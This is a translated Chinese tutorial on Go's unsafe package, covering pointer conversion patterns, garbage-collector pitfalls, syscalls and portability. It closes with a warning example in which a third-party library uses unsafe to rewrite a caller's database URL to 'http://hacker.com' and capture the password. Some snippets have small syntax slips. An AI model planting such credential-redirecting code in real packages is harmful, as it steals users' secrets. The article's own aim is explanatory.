3

unsafe 真就不安全吗?- part2

 3 years ago
source link: https://studygolang.com/articles/35043
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

unsafe 真就不安全吗?- part2

polaris1119 · 大约10小时之前 · 66 次点击 · 预计阅读时间 6 分钟 · 大约8小时之前 开始浏览    

上篇文章中,我已经谈到了 unsafe 包的初衷和功能。但还有一件事情没有解释。

type pointer

此类型表示指向任意类型的指针,这意味着,unsafe.Pointer 可以转换为任何类型或 uintptr 的指针值。你可能会想: 有什么限制吗?没有,是的... 你可以转换 Pointer 为任何你想要的,但你必须处理可能的后果。为了减少可能出现的问题,你可以使用某些模式:

以下涉及 Pointer 的模式是有效的。不使用这些模式的代码今天可能无效,或者将来可能无效。即使是下面这些有效的模式,也带有重要的警告。” —— golang.org

你也可以使用 go vet,但是它不能解决所有的问题。因此,我建议你遵循这些模式,因为这是减少错误的唯一方法。

如果两种类型的内存布局相同,为了避免内存分配,你可以通过以下机制将类型 *T1 的指针转换为类型 *T2 的指针,将类型 T1 的值复制到类型 T2 的变量中:

ptrT1 := &T1{}
ptrT2 = (*T2)(unsafe.Pointer(ptrT1))

但是要小心,这种转换是有代价的,现在两个指针指向同一个内存地址,所以每个指针的改变也会反应到另一个指针上。可以通过这里验证

unsafe.Pointer != uintptr

我已经提到过,指针可以转换为 uintptr 并转回来,但是转回来是有一些特殊的条件限制的。unsafe.Pointer 是一个真正的指针,它不仅保持内存地址,包括动态链接的地址,但 uintptr 只是一个数字,因此它更小,但有代价。如果你转换 unsafe.Pointer 为 uintptr 后,指针不再引用指向的变量,而且在将 uintptr 转换回 unsafe.Pointer 变量之前,垃圾收集器可以轻松地回收该内存。至少有两种解决方案可以避免此问题。第一个更复杂的,但也真正显示了,为了使用 unsafe 包,你必须牺牲什么。有一个特殊的函数,runtime.KeepAlive 可以避免 GC 不恰当的回收。它听起来很复杂,而且使用起来更加复杂。这里为你准备了实际例子

还有另一种方法避免 GC 不恰当回收。即在同一个语句中做以下事情:将 unsafe.Poniter 转为 uintptr,以及将 uintptr 做其他运算,最后转回 unsafe.Pointer 。因为 uintptr 只是一个数字,我们可以做所有特殊的算术运算,比如加法或减法。我们如何使用它?指针算法通过了解内存布局和算术运算,可以得到任何需要的数据。让我们来看看下一个例子:

x := [4]byte{10, 11, 12, 13}
elPtr := unsafe.Pointer(uintptr(unsafe.Pointer(&x[0])) + 3*unsafe.Sizeof(x[0]))

有了指向字节数组第一个元素的指针,我们就可以在不使用索引的情况下获得最后一个元素。如果将指针移动三个字节,我们就可以得到最后一个元素。让我可视化展示:

Pointer arithmetic

因此,在一个表达式中执行所有转换可以省去 GC 清理的麻烦。上述三种模式说明了如何在不同情况下正确地转换 unsafe.Pointer 为其他数据类型的指针。

Syscalls

在包 syscall 中,有一个函数 syscall.Syscall 接收 uintptr 格式的指针的系统调用,我们可以通过 unsafe.Pointer 得到 uintptr。重要的是,你必须进行正确的转换:

a := &A{1}
b := &A{2}
syscall.Syscall(0, uintptr(unsafe.Pointer(a)), uintptr(unsafe.Pointer(b))) // Right

aPtr := uintptr(unsafe.Pointer(a)
bPtr := uintptr(unsafe.Pointer(b)
syscall.Syscall(0, aPtr, bPtr) // Wrong

reflect.Value.Pointer 和 reflect.Value.UnsafeAddr

reflect 包中有两个方法: Pointer 和 UnsafeAddr,它们返回 uintptr,因此我们应该立即将结果转换为 unsafe.Pointer,因为我们需要时刻“提防”我们的 GC 朋友:

p1 := (*int)(unsafe.Pointer(reflect.ValueOf(new(int)).Pointer())) // Right

ptr := reflect.ValueOf(new(int)).Pointer() // Wrong
p2 := (*int)(unsafe.Pointer(ptr) // Wrong

reflect.SliceHeader 和 reflect.StringHeader

reflect 包中有两种类型: SliceHeader 和 StringHeader,它们都具有字段 Data uintptr。正如你所记得的那样,uintptr 通常与 unsafe.Pointer 联系在一起,见下面代码:

var s string
hdr := (*reflect.StringHeader)(unsafe.Pointer(&s))
hdr.Data = uintptr(unsafe.Pointer(p))
hdr.Len = n

以上就是所有可能关于 unsafe.Pointer 使用的模式,所有不遵循这些模式或从这些模式派生的情况很可能是无效的。但是 unsafe 包不仅在代码中而且在代码之外都会带来问题。让我们回顾一下其中的几个。

Go 有兼容性指南,保证版本更新的兼容性。简单地说,它保证你的代码在升级后仍然可以工作,但是不能保证你已经导入了 unsafe 的包。unsafe 包的使用可能会破坏你的代码的每个版本: major,minor,甚至安全修补程序。所以在导入之前,试着想一下这样一种情况:你的客户问你为什么我们不能通过升级 Go 版本来消除漏洞,或者为什么在更新之后什么都不能工作了。

不同的行为

你知道所有的 Go 数据类型吗?你听说过 int 吗?如果我们已经有 int32 和 int64,为什么还有 int?实际上 int 类型是根据计算机体系结构(x32 或 x64)将其转换为 int32 或 int64 类型。所以请记住,unsafe 的函数结果和内存布局在不同的架构上可能是不同的,例如:

var s string
unsafe.Sizeof(s) // x32 上是 8,而 x64 上是 16

社区的情况

我想知道:如果这个包如此危险,有多少冒险者在使用它。我已经在 GitHub 上搜索过了。与 cryptomath 相比,数量并不多。其中超过一半的内容是关于使用 unsafe 的方法的技巧和可能的偏差,而不是一些真正的用法。

Rust 社区有一个事件:一个叫 Nikolay Kim 的,他是 activex 项目的创始人,在社区的巨大压力下,将 activex 库变成了私有。后来再公开该仓库时,将其中一个贡献者提升为所有者,然后离开。所有这一切的发生都是因为一些人认为使用了 unsafe 包,这太危险不应该使用。我知道 Go 社区目前没有这种情况,而且 Go 社区里也没有唯一正确的观点。我想要提醒的是,如果你在代码中导入了 unsafe 的代码,请做好准备,社区可能会。。。

有很多人和很多想法,这篇文章展示了使用 int 和使用指针操作的新方法,简而言之,它看起来像这样:

var foo int
fooslice = (*[1]int)(unsafe.Pointer(&foo))[:]

对此,我不发表意见,我只会提到,你应该注意导入 unsafe 可能的问题。

我个人试着去思考 unsafe 带来问题的可能性,这里有一个使用 unsafe 的例子。假设你导入了一些执行某些有用操作的第三方包,比如将 DB 客户端对象和日志记录器包装到一个实体中,以使所有操作的日志记录更加容易,或者像我的例子中那样,导入一些返回对象的动物的函数...

package main

import (
    "fmt"
    "third-party/safelib"
)

func main() {
    a := safelib.NewA("https://google.com", "1234") // Url and password
    fmt.Println("My spiritual animal is: ", safelib.DoSomeHipsterMagic(a))
    a.Show()
}

在这个函数中,我们将 interface{} 断言为一些已知类型,并快速复制到一些 Malicious 类型,这些 Malicious 类型具有获取和设置私有字段的方法,如 url 和密码。所以这个包可以提取出所有有趣的数据,甚至替换 url,这样下次你尝试连接到 DB 时,有人会获得你的凭证。

func DoSomeHipsterMagic(any interface{}) string {
    if a, ok := any.(*A); ok {
        mal := (*Malicious)(unsafe.Pointer(a))
        mal.setURL("http://hacker.com")
    }

    return "Cool green dragon, arrh 🐉"
}

最后的最后,切记所有的技术都有一定的代价,但是 unsafe 技术尤其“昂贵”,所以我的建议是在使用它之前要三思。


via: https://www.dnahurnyi.com/is-unsafe-...unsafe-pt.-2/

作者:Denys Nahurnyi  译者:polaris1119  校对:unknwon

本文由 GCTT 原创编译,Go语言中文网 荣誉推出

本文由 GCTT 原创翻译,Go语言中文网 首发。也想加入译者行列,为开源做一些自己的贡献么?欢迎加入 GCTT
翻译工作和译文发表仅用于学习和交流目的,翻译工作遵照 CC-BY-NC-SA 协议规定,如果我们的工作有侵犯到您的权益,请及时联系我们。
欢迎遵照 CC-BY-NC-SA 协议规定 转载,敬请在正文中标注并保留原文/译文链接和作者/译者等信息。
文章仅代表作者的知识和看法,如有不同观点,请楼下排队吐槽


有疑问加站长微信联系(非本文作者))

280

入群交流(和以上内容无关):加入Go大咖交流群,或添加微信:liuxiaoyan-s 备注:入群;或加QQ群:701969077


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK